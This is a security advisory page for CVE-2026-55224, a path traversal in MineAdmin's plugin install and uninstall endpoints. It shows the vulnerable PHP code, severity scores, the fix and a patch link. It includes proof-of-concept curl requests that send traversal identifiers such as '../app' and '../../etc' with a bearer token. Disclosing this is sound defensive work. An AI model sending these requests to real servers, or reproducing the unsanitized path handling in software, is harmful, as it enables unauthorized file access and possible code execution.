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MineAdmin CVE-2026-55224

HIGH
Path Traversal (CWE-22)
2026-08-18 https://github.com/mineadmin/MineAdmin GHSA-59xm-4m8c-g3xj
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Severity by source

vuln.today AI
9.9 CRITICAL

Network-accessible endpoint, low complexity; PR:L because a valid JWT is required; scope change (S:C) because traversal and Composer execution can affect resources outside the plugin directory.

3.1 AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
4.0 AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H

Lifecycle Timeline

4
Threat Model Generated
Aug 30, 2026 - 19:24 vuln.today
Source Code Evidence Fetched
Aug 18, 2026 - 21:00 vuln.today
Analysis Generated
Aug 18, 2026 - 21:00 vuln.today
CVE Published
Aug 18, 2026 - 20:40 cve.org
HIGH

DescriptionCVE.org

Path Traversal via Unsanitized Identifier in Plugin Install/Uninstall

Summary

The app-store plugin service concatenates unsanitized user-supplied identifier values directly into file system paths. An attacker can use path traversal sequences (e.g., ../) to read, install, or uninstall plugins from arbitrary directories, and potentially execute arbitrary composer commands.

Vulnerable Code

File: plugin/mine-admin/app-store/src/Service/Service.php

php
// Line 32 - download(): path traversal via identifier
public function download(array $params): bool
{
    if (empty($params['identifier']) || empty($params['version'])) {
        $this->throwParamsFail();
    }
    $service = make(AppStoreServiceImpl::class);
    if (! is_dir(BASE_PATH . '/plugin/' . $params['identifier'])) {  // Path traversal
        $result = $service->download($params['identifier'], $params['version']);
        // ...
    }
    return true;
}

// Line 48 - install(): path traversal + Plugin::install() with raw identifier
public function install(array $params): bool
{
    // ...
    $path = BASE_PATH . '/plugin/' . $params['identifier'];  // Path traversal
    if (file_exists($path . '/install.lock')) {
        $this->throwAppInstalled();
    }
    Plugin::install($params['identifier']);  // May run composer commands with traversal path
    return true;
}

// Line 70 - unInstall(): same pattern
public function unInstall(array $params): bool
{
    // ...
    $path = BASE_PATH . '/plugin/' . $params['identifier'];  // Path traversal
    Plugin::uninstall($params['identifier']);  // Arbitrary uninstall
    return true;
}

File: plugin/mine-admin/app-store/src/Controller/IndexController.php (lines 25-26)

php
#[Controller(prefix: 'admin/plugin/store')]
#[Middleware(middleware: AccessTokenMiddleware::class, priority: 100)]
// Only AccessTokenMiddleware -- no PermissionMiddleware (see GM-4340)

Proof of Concept

bash
# Install a "plugin" from a traversed path, potentially triggering composer on
# arbitrary directories
curl -X POST "http://localhost:9501/admin/plugin/store/install" \
  -H "Authorization: Bearer <JWT_TOKEN>" \
  -H "Content-Type: application/json" \
  -d '{"identifier": "../app", "version": "1.0.0"}'
# This resolves to BASE_PATH/plugin/../app = BASE_PATH/app
# Plugin::install("../app") processes the application directory as a plugin
# Check if arbitrary path exists:
curl -X POST "http://localhost:9501/admin/plugin/store/download" \
  -H "Authorization: Bearer <JWT_TOKEN>" \
  -H "Content-Type: application/json" \
  -d '{"identifier": "../../etc", "version": "1.0.0"}'

Impact

  • Path traversal enables reading directory existence outside the plugin directory
  • Plugin::install() with a traversed identifier may run composer commands on arbitrary directories
  • Combined with GM-4340 (missing PermissionMiddleware), any authenticated user can exploit this
  • Could lead to arbitrary code execution depending on Plugin::install() implementation

Remediation

Validate and sanitize the identifier parameter to reject path traversal sequences. Use basename() or a strict regex allowlist (e.g., ^[a-zA-Z0-9_-]+$) before concatenating into file paths.\n\n---\n\nUpdate: This finding has now been fully reproduced and validated in a Docker environment. The vulnerability is confirmed exploitable as described in the original report.

AnalysisAI

Path traversal via unsanitized plugin identifier in MineAdmin's app-store service enables any authenticated user to read directory existence outside the plugin root, trigger Plugin::install() and Plugin::uninstall() on arbitrary filesystem paths, and potentially execute arbitrary Composer commands. Affected versions are all releases of composer/mineadmin/mineadmin prior to v3.2.0-alpha.2. …

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Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata

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Vulnerability AssessmentAI

Exploitation The attacker must possess a valid JWT bearer token for any MineAdmin account - no administrator or elevated permission is required because PermissionMiddleware is absent from the plugin store controller (GM-4340). … Additional conditions and limiting factors are described in the full assessment.
Risk Assessment The CVSS vector was not provided by the reporter; independent assessment is required (see assessed_cvss_vector). … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in.
Exploit Scenario Full exploit scenario with step-by-step reproduction available after sign-in.
Remediation Upgrade to MineAdmin v3.2.0-alpha.2 or later; the vendor-released patch is available at https://github.com/mineadmin/MineAdmin/releases/tag/v3.2.0-alpha.2 and the fixing commit is https://github.com/mineadmin/MineAdmin/commit/ca41902a2a5422676227e5088f4cc1dec06044f1. … Detailed patch versions, workarounds, and compensating controls in full report.

Recommended ActionAI

Within 24 hours, inventory all systems running MineAdmin and document their current versions and bearer-token usage patterns. …

Sign in for detailed remediation steps and compensating controls.

Threat intelligence, references, and detailed analysis are available after sign-in.

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CVE-2026-55224 vulnerability details – vuln.today

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